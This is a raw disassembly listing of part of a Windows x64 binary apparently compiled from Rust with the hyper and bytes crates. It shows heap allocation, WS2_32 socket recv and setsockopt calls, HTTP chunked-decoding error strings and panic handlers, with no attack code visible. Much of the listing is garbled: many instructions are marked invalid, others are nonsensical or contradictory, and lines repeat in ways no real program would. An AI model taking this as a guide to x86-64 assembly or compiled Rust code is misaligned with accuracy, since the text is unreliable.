loopne 0x1400e70f5
add byte [rax], al
add byte [rdi], cl
mov dh, pe_nt_image_headers64
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e7137
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e78b9
invalid
add byte [rax], al
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x25
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e78b9
mov r12, rax
movups xmm0, xmmword [0x1401d5de8]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LF]
movups xmmword [rax], xmm0
movabs rax, 0x656e696c20657a69
mov qword [r12 + 0x1d], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
or eax, 0x12e1dd
test rcx, rcx
jne 0x1400e71a1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e63b4
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x80e89
test rax, rax
je 0x1400e63b4
mov qword [rax], r12
mov qword [rax + 8], 0x25
mov qword [rbp + 0x58], rax
mov qword [rax + 0x10], 0x25
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e71f7
add byte [rcx - 0x48], al
sbb byte [rax], al
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x1400e75de
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
jmp 0x1400e6399
lea rcx, [rbp + 8]
mov r9d, 1
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
mov r13, qword [rbp + 0x10]
mov r15, qword [rbp + 0x18]
test r13, r13
je 0x1400e77da
mov byte [rdi + 0x79], al
mov qword [rbp - 0x20], 0
movzx esi, al
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [rsi], dl
add byte [rax], al
add cl, ch
clc
int1
invalid
lea rcx, [rbp + 8]
mov r9d, 1
mov ecx, 1
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
mov r13, qword [rbp + 0x10]
mov r15, qword [rbp + 0x18]
test r13, r13
je 0x1400e77da
mov r12, rax
mov rax, qword [rbp + 0x58]
mov qword [r12], rax
lea rax, fcn.140022090
mov qword [r12 + 8], rax
mov byte [r12 + 0x10], 0x25
inc r12
lea rcx, [rbp + 0x50]
mov rdx, r15
xor r8d, r8d
call qword [r13 + reloc.WS2_32.dll_recv]
mov al, 1
jmp 0x1400e7624
adc al, 0xb9
or byte [rax], al
add byte [rax], al
mov edx, 0x18
call fcn.14015d7f0
jmp 0x1400e6399
jne 0x1400e760f
invalid
invalid
jne 0x1400e760f
invalid
test al, al
jne 0x1400e77e4
mov byte [rdi + 0x79], sil
mov byte [rdi + 0x79], dh
mov r15, qword [rbp - 0x20]
test r15, r15
jne 0x1400e7807
mov qword [rbp - 0x20], 0
movzx esi, sil
lea rcx, [0x14020a874]
movsxd rax, dword [rcx + rsi*4]
add rax, rcx
jmp rax
lea rcx, [rbp + 8]
mov r9d, 1
mov rdx, r14
mov r8, rbx
call fcn.1400e9330
mov al, 2
cmp qword [rbp + 8], 0
jne 0x1400e7624
mov r13, qword [rbp + 0x10]
mov r12, qword [rbp + 0x18]
mov al, 1
test r13, r13
je 0x1400e7624
mov al, 1
mov r12, r15
jmp 0x1400e7624
movzx eax, al
cmp eax, 2
jne 0x1400e6b4c
mov esi, 1
mov rax, qword [rbp - 0x20]
loopne 0x1400e7842
test eax, eax
loopne 0x1400e7842
test eax, eax
jne 0x1400e6b5a
invalid
jmp 0x1400e6b69
mov r12, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov ecx, dword [rbp - 8]
xor esi, esi
mov rdx, qword [rbp - 0x30]
test rsi, rsi
jne 0x1400e6b7a
jmp 0x1400e5d70
mov byte [rdi + 0x79], 0xb
lea r15, [0x1401d3af8]
cmp eax, 0xec2b1
lea r12, [0x140204680]
jmp 0x1400e6b4f
in eax, 0xe
add byte [rdi], cl
adc dword [rax], eax
mov dword [rax + 0x10], 0x464c2064
movzx eax, byte [0x1402153f8]
mov ecx, 0x18
mov edx, 8
call fcn.140013830
test rax, rax
je 0x1400e63b4
mov qword [rax], r14
mov qword [rax + 8], setsockopt
adc al, 0
add byte [rax], al
mov qword [rax + 0x10], setsockopt
jmp 0x1400e662c
mov ecx, 1
mov edx, 0x25
call fcn.14015d7f0
invalid
add byte [rdi], cl
invalid
mov ecx, dword [rbp + 0x58]
call fcn.1401372e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
push rbx
sub rsp, 0x20
mov r11, qword [rcx]
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
adc byte [r11 + rcx*4 + 0x41], cl
sbb byte [rcx - 0x46], cl
int 0xcc
int3
int3
int3
int3
int3
int3
cmp r11, rax
je 0x1400e7c91
adc byte [r11 + rcx*4 + 0x41], cl
sbb byte [rcx - 0x46], cl
sbb byte [r9 - 0x46], cl
int 0xcc
int3
sub rax, r11
mul r10
shr rdx, 6
invalid
invalid
add r11, 0x48
xor ecx, ecx
leave
invalid
leave
lea rax, [0x14020a8a4]
jmp 0x1400e7c40
mov rsi, qword [r11 - 0x38]
add rcx, rsi
add r11, 0x50
add ebx, 0x50
dec rdx
je 0x1400e7c93
mov rsi, qword [r11 - 0x48]
movsxd rsi, dword [rax + rsi*4]
add rsi, rax
jmp rsi
shr bl, 1
loope 0x1400e7cba
nop word cs:[rax + rax]
movzx ebx, byte [r11 - 0xd]
sub bl, byte [r11 - 0xe]
movzx esi, bl
add rsi, qword [r11 - 0x30]
jb 0x1400e7d28
mov dl, 0
add byte [rax], al
mov dl, 0
add byte [rax], al
add rsi, qword [r11]
jae 0x1400e7c34
jmp 0x1400e7d28
mov rdi, qword [r11 - 0x30]
mov rsi, qword [r11 - 0x20]
cmp rdi, rsi
cmovb rsi, rdi
jmp 0x1400e7c34
xor ecx, ecx
cmp r9, r8
je 0x1400e7d42
sub r8, r9
mov rax, r8
enter 0xffffffffffff894c, 0xffffffffffffffc0
mul r10
shr rdx, 6
loop 0x1400e7cee
shr edx, 6
add r9, 0x48
lea rax, [0x14020a8b4]
add byte [rdx + rdx], ch
add bl, ch
invalid
add byte [rdx + rdx], ch
add bl, ch
sbb ah, byte [rsi + 0x2e]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8, qword [r9 - 0x38]
add rcx, r8
add r9, 0x50
dec rdx
je 0x1400e7d42
mov r8, qword [r9 - 0x48]
movsxd r8, dword [rax + r8*4]
add r8, rax
jmp r8
mov r8, qword [r9 - 0x30]
jmp 0x1400e7cc4
add byte [rax], al
mov r10, qword [r9 - 0x30]
mov r8, qword [r9 - 0x20]
cmp r10, r8
cmovb r8, r10
jmp 0x1400e7cc4
movzx r8d, byte [r9 - 0xd]
sub r8b, byte [r9 - 0xe]
movzx r8d, r8b
add r8, qword [r9 - 0x30]
jb 0x1400e7d28
add r8, qword [r9]
jae 0x1400e7cc4
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov rax, rcx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
test rax, rax
je 0x1400e8580
shl r13, 4
add r13, rdi
mov r12, rdi
xor esi, esi
jmp 0x1400e8035
xor eax, eax
add rbp, 0x50
add rsi, rax
mov rax, rbp
cmp rsi, rdx
je 0x1400e8230
invalid
cmp rax, r8
je case.0x1400e649a.21
mov rbp, rax
mov rax, r13
jmp 0x1400e8062
mov rbp, r12
mov r8, r13
cmp r12, r13
mov r12, rax
je 0x1400e8233
mov r13, rax
mov rax, rdx
sub rax, rsi
jb 0x1400e867d
invalid
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
shl rcx, 4
lea r14, [r11 + rcx]
xor al, 0xb
xor al, 0xb
mov r9, qword [rbp]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
mov eax, dword [rbp + 0x18]
test rax, rax
jne 0x1400e80c1
jmp 0x1400e8020
sub byte [rcx + 0x39], cl
ror dword [rcx + 0xf], 0x42
ror dword [rax - 0x7b], 0xc0
je 0x1400e8020
mov r9, rax
shr r9, 0x20
jne 0x1400e868e
mov r9, qword [rbp + 0x10]
mov dword [r14], eax
mov qword [r11 + rcx + 8], r9
jmp 0x1400e8134
adc byte [r9 - 0x77], r8b
invalid
retf
mov eax, 1
jmp 0x1400e8022
mov rsi, rdx
add rsi, qword [rsp + 0x60]
cmp rsi, 0x41
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x40]
mov r14, qword [rsp + 0x68]
push 0x4c9830f
add byte [rax], al
jae 0x1400e871a
mov rdx, qword [r15 + 0xe8]
mov rax, qword [r15 + 0xf0]
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x70]
mov r8, qword [rsp + 0x30]
lea r9, [rsp + 0x80]
add byte [rax], al
add bh, bh
push rax
cmp byte [rax - 0x75], cl
and al, 0x70
and al, 0x70
cmp rax, 2
je 0x1400e862e
mov r13, qword [rsp + 0x78]
test rax, rax
jne 0x1400e8638
xor eax, eax
mov rdx, qword [rsp + 0x58]
cmp r13, rdx
setne al
invalid
mov ecx, 0xff
cmova eax, ecx
test al, al
invalid
je 0x1400e82d0
add dword [rax], eax
add cl, ch
retf 1
add byte [rax], al
jmp 0x1400e8490
push rax
movups xmmword [rax], xmm6
jmp 0x1400e8490
sub r14, rdx
je 0x1400e8490
mov r12, qword [r15 + 0x130]
jmp 0x1400e8309
test r14, r14
je 0x1400e8490
sub rbx, 1
jb 0x1400e86bc
mov rdx, r14
mov rsi, r12
cmp r12, rbp
mov eax, 0
add byte [rax + 0xf], cl
invalid
invalid
mov rcx, r12
sub rcx, rax
add byte [rax + 0xf], cl
invalid
invalid
lea rax, [rcx + rcx*4]
shl rax, 4
lea rcx, [rdi + rax]
mov rax, qword [rdi + rax]
lea r8, [0x14020a8d4]
adc al, byte [rax]
adc al, byte [rax]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov rax, qword [rcx + 0x18]
mov r14, rdx
mov esi, edx
mov esi, edx
sub r14, rax
jae 0x1400e83c0
jmp 0x1400e847b
mov r8, qword [rcx + 0x18]
mov rax, qword [rcx + 0x28]
cmp r8, rax
cmovb rax, r8
mov r14, rdx
sub r14, rax
jae 0x1400e83c0
invalid
jmp 0x1400e847b
movzx eax, byte [rcx + 0x3b]
sub al, byte [rcx + 0x3a]
movzx eax, al
add rax, qword [rcx + 0x18]
jb 0x1400e86d6
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax + 3], cl
jb 0x1400e86d6
add rax, qword [rcx + 0x48]
jb 0x1400e86d6
mov r14, rdx
sub r14, rax
jae 0x1400e83c0
jmp 0x1400e847b
mov rax, qword [rcx + 0x10]
mov r14, rdx
sub r14, rax
jb 0x1400e847b
mov rdx, rax
call fcn.1400e91d0
lea rax, [rsi + 1]
cmp rax, rbp
mov eax, 0
cmovae rax, rbp
neg rax
lea r12, [rsi + rax]
inc r12
mov qword [r15 + 0x130], r12
mov qword [r15 + 0x138], rbx
lea rax, [rsi + rsi*4]
shl rax, 4
movups xmm0, xmmword [rdi + rax]
movups xmm1, xmmword [rdi + rax + 0x10]
movups xmm2, xmmword [rdi + rax + 0x20]
movups xmm3, xmmword [rdi + rax + 0x30]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rdi + rax + 0x40]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm3
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
mov rax, qword [rsp + 0x80]
cmp rax, 4
je case.0x1400e649a.25
cmp eax, 2
ja case.0x1400e649a.25
mov rax, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
lea rcx, [rsp + 0xa0]
call qword [rax + reloc.WS2_32.dll_recv]
jmp case.0x1400e649a.25
call fcn.1400e91d0
mov rbx, qword [r15 + 0x138]
nop word [rax + rax]
mov rbp, qword [r15 + 0x110]
mov r12, qword [r15 + 0x118]
mov r8, qword [r15 + 0x128]
test rbx, rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], r8
je 0x1400e84e0
mov rax, qword [r15 + 0x130]
cmp rax, r8
mov ecx, 0
cmovae rcx, r8
sub rax, rcx
sub eax, ecx
mov rdx, r8
sub rdx, rax
mov rcx, rbx
invalid
sub rcx, rdx
jbe 0x1400e84f0
mov rdx, r8
jmp 0x1400e84f6
xor eax, eax
xor edx, edx
jmp 0x1400e84f4
lea rdx, [rax + rbx]
xor ecx, ecx
mov rsi, rbp
sub rsi, r12
mov rdi, qword [r15 + 0x120]
lea rax, [rax + rax*4]
shl rax, 4
add rax, rdi
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, rdi
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, rdi
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], rcx
lea rcx, [rsp + 0x80]
mov word [rax + rax*4], fs
add byte [rax], al
add al, ch
lahf
idiv bh
dec dword [rax + 1]
invalid
je 0x1400e7e62
mov eax, 1
jmp 0x1400e7e7b
xor eax, eax
jmp 0x1400e7e7b
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srccommon_buf.rs
mov rcx, rsi
call fcn.140160e60
ud2
lea rcx, str.assertion_failed:_buf.len_____c::ULONG::MAX_as_usize_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_syswindowsio.rs
lea r8, [0x1401d3928]
mov edx, 0x35
call fcn.140160fb0
ud2
lea rcx, str.Out_of_bounds_access_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srccommon_buf.rs
mov edx, setsockopt
call fcn.140161290
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1io.rs
mov edx, 0x40
mov rcx, rsi
call fcn.140160f40
ud2
add byte [rax], al
add byte [rdx + 0x38], bh
call fcn.14015d7f0
ud2
add esi, dword [rdi + 0xa]
cmp rcx, 1
jne 0x1400e8957
test rax, rax
je 0x1400e8911
mov rdi, qword [rsi + 0x90]
test rdi, rdi
je 0x1400e8940
mov qword [rsi + 0x88], 5
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e8894
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e8963
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
add byte [rax], al
invalid
mov rsi, rax
mov qword [rax], 0
add byte [rax], al
add dh, al
sub dword [rdx], eax
mov word [rax + 0x30], 0x101
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
add byte [rax - 0x7b], cl
leave
jne 0x1400e88eb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je case.0x1400c44f6.121
mov rcx, rax
mov qword [0x140215360], rax
add eax, 0x12ca75
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
invalid
test dword [rdi], 0xc0854800
je case.0x1400c44f6.121
mov qword [rax], rdi
mov qword [rsi], rax
lea rax, [0x1401d3138]
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
jmp 0x1400e8959
mov qword [rsp + 0x28], 3
lea rax, [0x1401d5fdf]
invalid
invalid
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x38], 5
and al, 0x38
add eax, 0x48000000
lea ecx, [rsi + 0x100]
lea rdx, [rsp + 0x28]
call fcn.1400e8990
cmp byte [rsi + 0x98], 1
mov eax, 5
sbb rax, 0
mov qword [rsi + 0x88], rax
xor esi, esi
mov rax, rsi
add rsp, 0x78
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x38
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 8
call fcn.14015d7f0
ud2
and al, 0x20
mov rcx, qword [rsi + 0x28]
mov rax, qword [rsi + 0x38]
mov eax, dword [rsi + 0x38]
cmp rax, rcx
jne 0x1400e89f9
lea rcx, [rsi + 0x20]
and al, r13b
pop rdi
add al, 0
add byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x28]
mov rax, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x30]
add rdx, rax
invalid
invalid
call fcn.1400e8e50
mov rcx, qword [rsi + 0x28]
mov ecx, dword [rsi + 0x28]
mov rax, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x30]
add rdx, rax
xor r8d, r8d
cmp rdx, rcx
cmp edx, ecx
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x73], r9b
adc al, 0x92
shl rdx, 4
shl edx, 4
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rcx + rdx + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movaps xmm2, xmmword [rsp + 0x40]
and al, 0x40
movaps xmm3, xmmword [rsp + 0x50]
movups xmmword [rcx + rdx + 0x30], xmm3
movups xmmword [rcx + rdx + 0x20], xmm2
adc dword [rax], esp
movups xmmword [rcx + rdx + 0x10], xmm1
adc dword [rax], edx
movups xmmword [rcx + rdx], xmm0
inc rax
mov qword [rsi + 0x38], rax
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
lea rcx, [0x14020a8e4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov rcx, qword [rdi + 0x18]
sbb byte [r8 - 0x75], r9b
push rsi
sbb byte [rax - 0x7b], cl
sal byte [rbp + 0x55], cl
mov rdx, qword [rsi + 0x18]
test rdx, rdx
jne 0x1400e8ad6
jmp 0x1400e8b12
mov rax, qword [rdi + 0x18]
mov rcx, qword [rdi + 0x28]
cmp rax, rcx
cmp eax, ecx
enter 0xf48, 0x42
enter 0xffffffffffff8b48, 0x56
sbb byte [rax - 0x7b], cl
test rdx, rdx
jne 0x1400e8ad6
cmovb rcx, rax
mov rdx, qword [rsi + 0x18]
test rdx, rdx
jne 0x1400e8ad6
jmp 0x1400e8b12
movzx eax, byte [rdi + 0x3b]
sub al, byte [rdi + 0x3a]
movzx ecx, al
add rcx, qword [rdi + 0x18]
add ecx, dword [rdi + 0x18]
sbb byte [r15], r9b
jb 0x1400e8b3e
invalid
add rcx, qword [rdi + 0x48]
jb 0x1400e8b3e
invalid
mov rdx, qword [rsi + 0x18]
test rdx, rdx
jne 0x1400e8ad6
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rsi + 0x18]
test rdx, rdx
je 0x1400e8b12
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
or byte [rax - 0x75], r9b
adc byte [rcx + 0x29], r9b
ror byte [rcx + 0x39], 0xc8
mov eax, dword [rsi + 0x10]
sub r8, rax
cmp r8, rcx
jae 0x1400e8b12
mov rbx, rax
sub rbx, rdx
sub ebx, edx
sub ebx, edx
jb case.0x1400e7cdb.17
mov qword [rsi + 0x10], 0
je 0x1400e8b0a
mov rcx, qword [rsi]
add rdx, rcx
mov r8, rbx
mov eax, ebx
call sub.VCRUNTIME140.dll_memmove
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x10], ebx
mov dword [rsi + 0x10], ebx
mov qword [rsi + 0x18], 0
lea r12, [rdi + 0x28]
mov rax, qword [rdi]
invalid
lea r13, [0x14020a8f4]
movsxd rcx, dword [r13 + rax*4]
add rcx, r13
jmp rcx
invalid
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140160f40
ud2
add al, 0x84
invalid
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
add eax, 0xeeedc
add eax, 0xeeedc
fsub st(6), st(0)
invalid
mov edx, 0x2b
call fcn.140160fb0
ud2
mov r14, qword [rdi + 0x10]
ja 0x1400e8b6c
mov rbx, qword [rdi + 0x18]
test rbx, rbx
jne case.0x1400e7cdb.19
jmp 0x1400e8c30
add byte [rax], al
add byte [rbx + rcx*4 + 0x77], cl
mov r14, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov rbx, qword [rdi + 0x28]
cmp rcx, rbx
cmp ecx, ebx
mov r14, qword [rdi + 0x10]
ja 0x1400e8b7e
mov rcx, qword [rdi + 0x18]
mov rbx, qword [rdi + 0x28]
cmp rcx, rbx
cmp ecx, ebx
cmp ecx, ebx
cmovb rbx, rcx
test rbx, rbx
test ebx, ebx
jne case.0x1400e7cdb.19
jmp 0x1400e8c30
movzx edx, byte [rdi + 0x3a]
movzx ecx, byte [rdi + 0x3b]
mov r8d, ecx
sub r8b, dl
movzx r8d, r8b
mov rbx, qword [rdi + 0x18]
add r8, rbx
jb 0x1400e8b3e
je 0x1400e8bb3
invalid
cmp cl, dl
jne 0x1400e8bc2
mov r14, qword [rdi + 0x10]
test rbx, rbx
jne case.0x1400e7cdb.19
jmp 0x1400e8c30
mov r14, qword [rdi + 0x40]
mov rbx, qword [rdi + 0x48]
test rbx, rbx
jne case.0x1400e7cdb.19
jmp 0x1400e8c30
movzx r14d, dl
movzx ebx, cl
jb case.0x14005f6a2.2171
cmp cl, 0x12
ja 0x1400e8c97
sub rbx, r14
add r14, r12
test rbx, rbx
je 0x1400e8c30
mov rax, qword [rsi + 8]
mov r15, qword [rsi + 0x10]
sub rax, r15
cmp rax, rbx
jb 0x1400e8c6c
add byte [rcx + 1], cl
fisttp word [rcx + rcx*4 + 0x7e]
adc byte [rax - 0x77], cl
stc
mov rdx, rbx
call fcn.1400e91d0
add eax, 0x8b480000
invalid
movsxd rcx, dword [r13 + rax*4]
add rcx, r13
jmp rcx
add eax, 0x8b480000
invalid
mov r14, qword [rdi + 8]
mov rbx, qword [rdi + 0x10]
test rbx, rbx
jne case.0x1400e7cdb.19
cmp eax, 2
je 0x1400e8c43
lea r8, [0x1401d78d8]
mov rcx, r14
mov rdx, rbx
call fcn.140161190
ud2
lea r8, [0x1401d78d8]
mov edx, setsockopt
mov rcx, rbx
call fcn.140160f40
ud2
push rsi
sub rsp, 0x90
movzx r9d, byte [rcx + 0x32]
movzx r10d, byte [rcx + 0x33]
mov eax, r10d
sub al, r9b
movzx r11d, al
mov r8, qword [rcx + 0x10]
mov rsi, r11
add rsi, r8
jb 0x1400e8dce
je 0x1400e8d00
mov rax, rdx
sub rax, rsi
jbe 0x1400e8d14
cmp r10b, r9b
jne 0x1400e8d2e
mov rdx, rsi
mov qword [rsp + 0x30], rdx
mov r9, r8
sub r9, rdx
jae 0x1400e8d4b
jmp loc.1400e8de8
mov rax, rdx
mov rdx, qword [rcx + 0x40]
mov r8, rdx
sub r8, rax
jae 0x1400e8d5f
jmp 0x1400e8dad
cmp r10b, r9b
jne 0x1400e8d70
mov rax, rdx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
mov rdx, r8
sub rdx, rax
jae 0x1400e8d89
jmp loc.1400e8de8
mov rdx, rsi
sub rdx, r11
jbe 0x1400e8d9a
mov byte [rcx + 0x32], r10b
mov qword [rsp + 0x30], rdx
mov r9, r8
sub r9, rdx
jb loc.1400e8de8
mov qword [rcx + 0x10], r9
add qword [rcx + 8], rdx
mov rdx, qword [rcx + 0x40]
mov r8, rdx
sub r8, rax
jb 0x1400e8dad
add qword [rcx + 0x38], rax
mov qword [rcx + 0x40], r8
add rsp, 0x90
pop rsi
ret
mov rax, rdx
sub rax, r11
jbe 0x1400e8dbe
mov byte [rcx + 0x32], r10b
mov qword [rsp + 0x30], rax
mov rdx, r8
sub rdx, rax
jb loc.1400e8de8
mov qword [rcx + 0x10], rdx
add qword [rcx + 8], rax
add rsp, 0x90
pop rsi
ret
add r9b, sil
mov byte [rcx + 0x32], r9b
mov rdx, qword [rcx + 0x40]
mov r8, rdx
sub r8, rax
jae 0x1400e8d5f
lea r8, [0x1401d7468]
mov rcx, rax
call fcn.140160e60
ud2
add r9b, dl
mov byte [rcx + 0x32], r9b
add rsp, 0x90
pop rsi
ret
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov ecx, 0x9999999a
cdq
cdq
cdq
add dword [rcx], esi
ror byte [rax + 0x39], cl
iretd
sal byte [rax + riz + 0x48], 0x8b
invalid
lea rax, [rax + rax*4]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
jmp case.0x1400e649a.37
lea rcx, [rsp + 0x40]
and al, 0x40
lea r9, [rsp + 0x28]
call fcn.140058090
cmp qword [rsp + 0x40], 0
add byte [rax - 0x75], cl
and al, 0x48
add byte [rax - 0x75], cl
and al, 0x48
je 0x1400e91b4
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x1400e91bb
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x74c13948], al
adc ecx, dword [rax - 0x7b]
leave
test rcx, rcx
jne 0x1400e91c2
adc eax, 0xf2a71ee8
dec dword [rdi]
or ecx, dword [rax - 0x77]
invalid
call fcn.1400138d0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
invalid
mov rdx, qword [rsp + 0x50]
call fcn.14015d7f0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
lea r8, [0x14020a904]
add eax, 0x121722
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x30], edx
push rsp
and al, 0x30
mov rax, qword [rcx + 0x18]
mov r8, rax
sub r8, rdx
jb 0x1400e926e
mov qword [rcx + 0x18], r8
mov dword [rcx + 0x18], eax
add qword [rcx + 0x10], rdx
add rsp, 0x90
pop rsi
ret
mov rax, qword [rcx + 0x28]
sub rax, rdx
jb 0x1400e9275
mov qword [rsp + 0x30], rdx
mov r8, qword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
sbb byte [r13 - 0x77], cl
ror dword [rcx + 0x29], 0xd1
mov r9, r8
sub r9, rdx
jb 0x1400e928f
mov qword [rcx + 0x18], r9
add qword [rcx + 0x10], rdx
add dword [rcx + 0x10], edx
add dword [rcx + 0x10], edx
push rcx
adc byte [rax - 0x77], cl
sub byte [r8 - 0x7f], cl
invalid
mov qword [rcx + 0x28], rax
add rsp, 0x90
pop rsi
ret
add rcx, 8
add ecx, 8
add rsp, 0x90
pop rsi
jmp 0x1400e8cb0
mov rax, qword [rcx + 0x10]
mov r8, rax
sub r8, rdx
jb 0x1400e92f2
add qword [rcx + 8], rdx
mov qword [rcx + 0x10], r8
add rsp, 0x90
pop rsi
ret
mov qword [rsp + 0x38], rax
jmp 0x1400e9294
lea rcx, [0x1401d782a]
lea r8, [0x1401d7850]
mov edx, 0x23
call fcn.140160fb0
ud2
mov qword [rsp + 0x38], r8
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
lea rax, [0x140144ae0]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 2
lea rdx, str.cannot_advance_past__remaining_:___
lea rsi, [rsp + 0x60]
lea r9, [rsp + 0x40]
